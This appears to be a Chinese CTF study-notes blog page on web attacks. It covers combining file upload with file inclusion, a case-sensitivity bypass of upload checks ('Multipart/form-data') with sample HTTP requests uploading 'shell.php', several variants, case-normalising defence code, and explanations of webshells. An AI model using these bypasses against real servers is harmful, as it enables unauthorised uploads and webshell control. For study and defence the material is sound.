文件上传和文件包含结合
通过文件上传上传一个txt的文件,该文件包含以下的php代码//这段代码本身不会执行,但是通过构造参数chuizi=uploads/1.txt 即文件所在位置,让php代码执行,通过文件包含函数,打开flag.php的内容,从而获得flag
原文链接:https://blog.csdn.net/chunliunaiak/article/details/147773696
文件包含和文件上传的配合的情况
一般这类题目有共同的利用条件:
利用条件:无法直接上传 shell,只能上传图片,存在文件包含
一、问题背景:multipart/Multipart 绕过的核心原理
你提到的将 multipart 改为 Multipart(首字母大写)实现绕过,本质是大小写敏感导致的规则校验漏洞:
很多安全规则(如 WAF、后端校验逻辑)仅硬编码匹配小写的 multipart/form-data(HTTP 表单上传的 Content-Type),但 HTTP 协议本身对 Header 字段值的大小写不敏感(RFC 规范),当校验逻辑未做大小写归一化处理时,大写首字母的 Multipart/form-data 会绕过检测。
二、典型场景与绕过示例
1. 场景:文件上传拦截(仅检测小写 multipart)
后端 / WAF 规则可能写死:
1 | // 错误示例:仅校验小写multipart,未做大小写转换 |
此时将请求头的 Content-Type 改为:
1 | Content-Type: Multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW |
即可绕过上述校验(因为 contains("multipart") 匹配不到 Multipart)。
2. 完整 HTTP 请求示例(绕过前后对比)
-
被拦截的请求(小写)
1
2
3
4
5
6
7
8
9
10
11POST /upload
Host: example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxxx
Content-Length: xxx
------WebKitFormBoundaryxxx
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream
phpinfo();
------WebKitFormBoundaryxxx-- -
绕过的请求(首字母大写):
1
2
3
4
5
6
7
8
9
10
11POST /upload
Host: example.com
Content-Type: Multipart/form-data; boundary=----WebKitFormBoundaryxxx
Content-Length: xxx
------WebKitFormBoundaryxxx
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/octet-stream
phpinfo();
------WebKitFormBoundaryxxx--
三、为什么这种绕过能生效?
- HTTP 协议特性:HTTP Header 的字段值大小写不敏感,服务器(如 Nginx、Tomcat)解析时会正常识别
Multipart/form-data为表单上传类型,不影响正常处理; - 校验逻辑缺陷:开发者 / WAF 仅匹配固定小写字符串,未先将 Content-Type 转为小写(如
contentType.toLowerCase().contains("multipart")),导致大小写变种绕过。
四、扩展:其他常见的 multipart 绕过变种
除了首字母大写,这类大小写 / 格式变种也可能生效:
MULTIPART/form-data(全大写)multIpart/form-data(随机大小写)multipart/Form-Data(后半段大写)- 加空格:
multipart / form-data(注意 HTTP Header 值内的空格需符合规范)
五、防御方案(修复这类漏洞)
核心是归一化处理后再校验,以 Java 为例:
1 | // 正确示例:先转小写,再校验 |
其他语言(Python/PHP/Go)同理:
- Python:
content_type.lower().find("multipart/form-data") != -1 - PHP:
stripos($content_type, 'multipart/form-data') !== false(stripos 忽略大小写) - Go:
strings.Contains(strings.ToLower(contentType), "multipart/form-data")
总结
这类绕过的核心是校验逻辑未处理大小写,而非协议本身的漏洞。对于安全测试而言,这是常见的逻辑绕过点;对于开发而言,所有 Header / 参数校验都应先做大小写归一化,避免硬编码匹配固定大小写。
用户输入 → Web前端 → POST到服务器 → 保存为文件 → Python脚本读取
↓ ↓ ↓ ↓
payload HTTP请求 PHP处理 写入/tmp/ssxl/
write.bin
write.meta
程序开始 → 清空outs.txt → 执行payload → 写入结果 → 读取并显示
↓ ↓ ↓ ↓ ↓
运行run() open().close() pickle执行 代码写入 read_out()
outs.txt 返回内容
首先查看文件包中的一些关键部分是很有帮助的。从以下几个文件入手:
- public/javascripts/jquery.js:由于很多Web应用可能会依赖于JavaScript来实现交互,检查这个文件是否存在XSS漏洞或者其它安全问题是很重要的。
- public/stylesheets/index.css 和 style.css:虽然CSS文件本身不涉及逻辑执行,但它们可以帮助你理解页面布局和可能的渗透点(比如,是否有动态样式表加载漏洞)。
- views/index.html:这是Web应用的主要页面之一,检查是否存在不安全的输入点、表单漏洞或其他能够引发攻击的代码。
- routes/api.js:此文件通常会处理API请求,检查是否有API端点存在未经授权的访问、SQL注入或其他漏洞。
- views/error.html:这个文件可能会展示错误信息或调试信息,查看它是否暴露了过多的服务器信息或者其他敏感数据。
开始时,可以从index.html和api.js入手,这两个文件通常涉及到页面的基础内容和API的处理逻辑,容易发现漏洞。
hacker
wireshark直接过滤post请求

ip是192.168.37.177
奇怪的shell文件
Webshell 是攻击者利用 Web 应用漏洞,上传并执行恶意脚本或可执行文件的一种手段。通过 Webshell,攻击者可以远程控制受害服务器,执行任意命令、窃取数据、上传更多恶意工具等。Webshell 通常被用于进行数据窃取、权限提升、网络攻击等活动。
Webshell 工具是一种可供攻击者使用的脚本或软件工具,它们通过 Web 应用程序的漏洞(如文件上传漏洞、SQL 注入漏洞、未授权访问等)来渗透到服务器,并通过浏览器与远程攻击者进行交互。
libcurl.dll 是 libcurl 的 Windows 动态链接库(DLL)版本,libcurl 是一个开源库,支持多种协议的网络传输,包括 HTTP、HTTPS、FTP、SFTP 等。
Web 应用的源代码通常指的是直接影响应用功能的代码文件,如 PHP、JavaScript、HTML、CSS 或服务器端脚本文件(如 ASP、JSP 等)。它们定义了网站或 Web 应用的行为、布局、交互等功能。
DLL(动态链接库,Dynamic Link Library)文件是包含可以被多个程序共享的代码和数据的文件。它们通常用于在 Windows 操作系统中存储程序的函数、类、资源等。
COM 文件夹:
- 通常,COM 目录用于存放与组件对象模型(Component Object Model,COM)相关的文件,这些文件通常是 DLL 文件或者可执行文件,提供一些共享的系统功能或库。这个文件夹的具体作用取决于它包含的具体文件和它们的用途。
Extensions 文件夹:
- Extensions 文件夹通常用于存放扩展库,例如 PHP 的扩展(如
php_*.dll文件)或其他程序的扩展文件。它们为主应用提供额外的功能支持,如数据库驱动、图像处理等。
WWW 文件夹:
- WWW 文件夹通常用于存放 Web 服务器服务的文件。例如,它可能包含网页、脚本、应用程序代码等,通常是 Web 应用的根目录或网站内容所在的地方。
unins000.dat 文件:通常是与软件安装或卸载相关的配置文件。
unins000.exe 文件:通常是与卸载程序相关的可执行文件,用于删除或卸载软件。


如有错误,多多指教